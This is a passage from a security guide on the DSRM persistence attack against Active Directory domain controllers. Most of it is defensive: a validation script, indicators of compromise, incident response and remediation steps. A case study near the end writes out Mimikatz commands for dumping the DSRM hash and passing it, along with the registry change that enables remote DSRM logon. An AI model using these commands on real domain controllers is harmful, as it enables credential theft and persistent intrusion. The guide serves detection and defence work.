$eventLogs = Get-WinEvent -FilterHashtable @{LogName='Security'; EventID=4657} -MaxEvents 10 2>/dev/null
if ($eventLogs) {
Write-Host "[+] PASS: Event Log 4657 (Registry modification) is being recorded"
} else {
Write-Host "[!] WARNING: No recent Event 4657 logs found (may not have had modifications)"
}
# Test 4: Verify Sysmon is installed (if applicable)
$sysmonService = Get-Service Sysmon64 -ErrorAction SilentlyContinue
if ($sysmonService.Status -eq "Running") {
Write-Host "[+] PASS: Sysmon is installed and running"
} else {
Write-Host "[!] WARNING: Sysmon is not installed (optional but recommended)"
}
Write-Host "[*] DSRM Security Validation Complete"
}
Test-DSRMSecurity
Expected Output (Secure System):
[*] Starting DSRM Security Validation...
[+] PASS: DsrmAdminLogonBehavior is secure (value: 0)
[+] PASS: Audit logging is enabled for Registry and Account Management
[+] PASS: Event Log 4657 (Registry modification) is being recorded
[+] PASS: Sysmon is installed and running
[*] DSRM Security Validation Complete
Registry IOCs:
HKLM\System\CurrentControlSet\Control\Lsa\DsrmAdminLogonBehaviorFile IOCs:
mimikatz.exe (any location, commonly C:\Temp\, C:\Windows\Temp\, C:\ProgramData\)Process IOCs:
New-ItemProperty or reg.exe with DSRM-related parametersNetwork IOCs:
On Disk:
C:\Windows\Temp\mimikatz* - Temporary filesC:\ProgramData\mimikatz.exe - Staged malware%USERPROFILE%\Downloads\*mimikatz* - Browser downloadsIn Memory:
Cloud Logs (Hybrid AD):
Event Logs:
Sysmon Logs:
MFT/USN Journal:
Step 1: Isolate the Affected Domain Controller
Command (Network Isolation):
# Disconnect network adapter to prevent further damage
Disable-NetAdapter -Name "Ethernet" -Confirm:$false
# Alert: DC is now offline - services will be impacted!
Alternative (Azure VM):
What This Does: Prevents attacker from using stolen DSRM credentials remotely. DC goes offline but is preserved for investigation.
Step 2: Preserve Forensic Evidence
Collect Memory Dump (CRITICAL for Mimikatz analysis):
# Install winpmem for memory acquisition
# Download: https://github.com/google/rekall/releases
.\winpmem_3.13.exe C:\Evidence\memory.aff4
# Wait 10-30 minutes depending on RAM size
Collect Event Logs:
# Export all security event logs
wevtutil epl Security C:\Evidence\Security.evtx
# Export system logs
wevtutil epl System C:\Evidence\System.evtx
# Export custom logs if available
wevtutil epl "Microsoft-Windows-Sysmon/Operational" C:\Evidence\Sysmon.evtx
Collect Registry:
# Export full registry hives for offline analysis
reg export HKLM C:\Evidence\HKLM.reg
reg export HKCU C:\Evidence\HKCU.reg
# Specifically the DSRM registry
reg export "HKLM\System\CurrentControlSet\Control\Lsa" C:\Evidence\Lsa.reg
Step 3: Disconnect from Network
# After isolating, completely disconnect from network
ipconfig /release
# Or physically disconnect network cable
# Alert: Domain Controller is completely offline
Step 4: Identify Attack Timeline
Analysis:
# Query when DSRM registry was modified
Get-WinEvent -FilterHashtable @{
LogName = 'Security'
EventID = 4657
} -ErrorAction SilentlyContinue |
Where-Object {$_.Message -match "DsrmAdminLogonBehavior"} |
Select-Object TimeCreated, Message, Properties
# Query when DSRM password was reset (if applicable)
Get-WinEvent -FilterHashtable @{
LogName = 'Security'
EventID = 4794
} -ErrorAction SilentlyContinue |
Select-Object TimeCreated, Message
Example Output:
TimeCreated Message
----------- -------
1/8/2025 11:42:15 PM Registry value created/modified: DsrmAdminLogonBehavior = 2
1/8/2025 11:40:30 PM Process created: mimikatz.exe by Administrator
1/8/2025 11:38:15 PM RDP login: Administrator from 192.168.1.100
Timeline Analysis:
Step 5: Determine Scope of Compromise
Questions to Answer:
Commands:
# Check if NTDS.dit was accessed/copied
Get-WinEvent -FilterHashtable @{
LogName = 'Security'
EventID = 4663 # File accessed
} -ErrorAction SilentlyContinue |
Where-Object {$_.Message -match "ntds.dit"} |
Select-Object TimeCreated, Message
# Check for other DCs with same compromise
$otherDcs = Get-ADDomainController -Filter * | Where-Object {$_.HostName -ne $compromisedDc}
foreach ($dc in $otherDcs) {
# Repeat Event 4657 query from above for each DC
}
Step 6: Fix DSRM Configuration
On Clean DC (or after reinstalling compromised DC):
# Remove the malicious registry value
Remove-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" `
-Name "DsrmAdminLogonBehavior" -Force -ErrorAction SilentlyContinue
# Verify it's removed
Get-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" |
Select-Object DsrmAdminLogonBehavior # Should show nothing
Step 7: Reset DSRM Password
# Reset on the compromised DC (after bringing back online in isolated environment)
# or on a clean DC
ntdsutil
set dsrm password
reset password on server <DC_NAME>
# Enter new, complex password (18+ characters, mixed case, numbers, symbols)
q
q
Step 8: Perform Full Credential Reset
# Reset ALL domain admin passwords
# Since attacker extracted DSRM hash (local admin), they might also have AD creds
Get-ADUser -Filter {AdminCount -eq 1} |
ForEach-Object {
Write-Host "Resetting password for $($_.Name)..."
$newPassword = ([System.Web.Security.Membership]::GeneratePassword(25, 5)) | ConvertTo-SecureString -AsPlainText -Force
Set-ADAccountPassword -Identity $_ -NewPassword $newPassword -Reset
}
Step 9: Audit Logs for Post-Compromise Activity
# Search for any use of DSRM credentials after compromise date
$compromiseDate = Get-Date "1/8/2025 11:38:15"
Get-WinEvent -FilterHashtable @{
LogName = 'Security'
EventID = 4624 # Logon event
StartTime = $compromiseDate
} -ErrorAction SilentlyContinue |
Where-Object {
$_.Message -match "Administrator" -and
$_.Message -match "NTLM" -and
$_.Message -notmatch "C\$" # Filter out legitimate system access
} |
Select-Object TimeCreated, Message
Step 10: Restore from Clean Backup
If NTDS.dit was compromised:
# Perform authoritative restore of AD from backup
# This is complex - consult Microsoft documentation:
# https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/ad-forest-recovery-single-domain-in-multidomain-forest
# General steps:
# 1. Boot DC into DSRM
# 2. Restore from ntdsutil IFM backup
# 3. Reconcile replication with other DCs
# 4. Monitor for conflicts
Step 11: Rebuild Compromised DC (Recommended)
# Complete rebuild is safest option:
# 1. Demote the DC using dcpromo (Windows Server 2012 R2 and earlier)
# or: Uninstall-ADDSDomainController -Force (PowerShell, Server 2016+)
# 2. Remove DC from AD
# 3. Reinstall Windows Server
# 4. Rejoin domain as new DC
# 5. Rerun domain promotion wizard
Uninstall-ADDSDomainController -Force -NoReboot
Step 12: Verify Remediation
# Run validation script (from earlier in document)
Test-DSRMSecurity
# Should output all [+] PASS messages
[ ] Isolate affected DC from network
[ ] Collect forensic evidence (memory, logs, registry)
[ ] Determine attack timeline from Event Logs
[ ] Check if NTDS.dit was copied
[ ] Scan for Mimikatz artifacts on filesystem
[ ] Query other DCs for same compromise
[ ] Reset DSRM password
[ ] Reset all domain admin passwords
[ ] Search logs for post-compromise attacker activity
[ ] Perform full DC rebuild or restore from backup
[ ] Re-enable network connectivity
[ ] Verify DSRM security mitigations are active
[ ] Brief leadership on impact and remediation
[ ] Schedule post-incident review meeting
The DSRM attack is part of a larger persistence attack chain:
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-EXPLOIT-001] Azure Application Proxy Exploitation | Attacker gains initial RDP/SMB access to DC |
| 2 | Privilege Escalation | [PE-EXPLOIT-002] ZeroLogon DC Compromise | Attacker elevates to Domain Admin if needed |
| 3 | Credential Access | [CA-DUMP-001] Mimikatz LSASS Memory Extraction | Attacker extracts DSRM hash from SAM database |
| 4 | Persistence | [PERSIST-PROCESS-001] DSRM Attack | Attacker enables remote DSRM access via registry modification |
| 5 | Defense Evasion | [DE-EVADE-001] Clear Event Logs | Attacker deletes/manipulates Event Logs to hide tracks |
| 6 | Impact | [IMPACT-EXTIL-001] Credential Extraction from NTDS.dit | Attacker extracts all domain credentials for offline cracking |
Pre-Requisite Techniques:
Post-Exploitation Techniques:
Target: U.S. Government agencies and critical infrastructure
Timeline: December 2019 - December 2020 (discovered)
DSRM Usage:
DsrmAdminLogonBehavior registry to enable persistent DSRM accessImpact:
Detection Failure:
DsrmAdminLogonBehavior because they didn’t have Event ID 4657 monitoring enabledReference: CISA SolarWinds Advisory, APT29 Analysis
Target: U.S. Healthcare System
Timeline: October 2021
DSRM Exploitation:
Impact:
Detection Failure:
Reference: Conti leaked documents indicate DSRM is standard TTPs in their attack playbook
Scenario: Mid-sized financial services company with 3 Domain Controllers
Attack Timeline:
lsadump::sam → extracts DSRM hash: a4f49c4b8e6d2f1c9a3b5d7f1e3c5a7bDsrmAdminLogonBehavior = 2sekurlsa::pth /domain:. /user:Administrator /ntlm:a4f49c4b8e6d2f1c9a3b5d7f1e3c5a7bEvent ID 4657 showing DSRM registry modification, traces back to MondayLessons Learned:
DsrmAdminLogonBehavior = 2The DSRM persistence attack is a critical threat to Active Directory infrastructure. It requires:
Prevention & Detection:
DsrmAdminLogonBehavior is 0 or absentResponse:
This document should be used as a comprehensive resource for Red Teams executing DSRM attacks in authorized engagements, and for Blue Teams building detections and defenses against this critical persistence technique.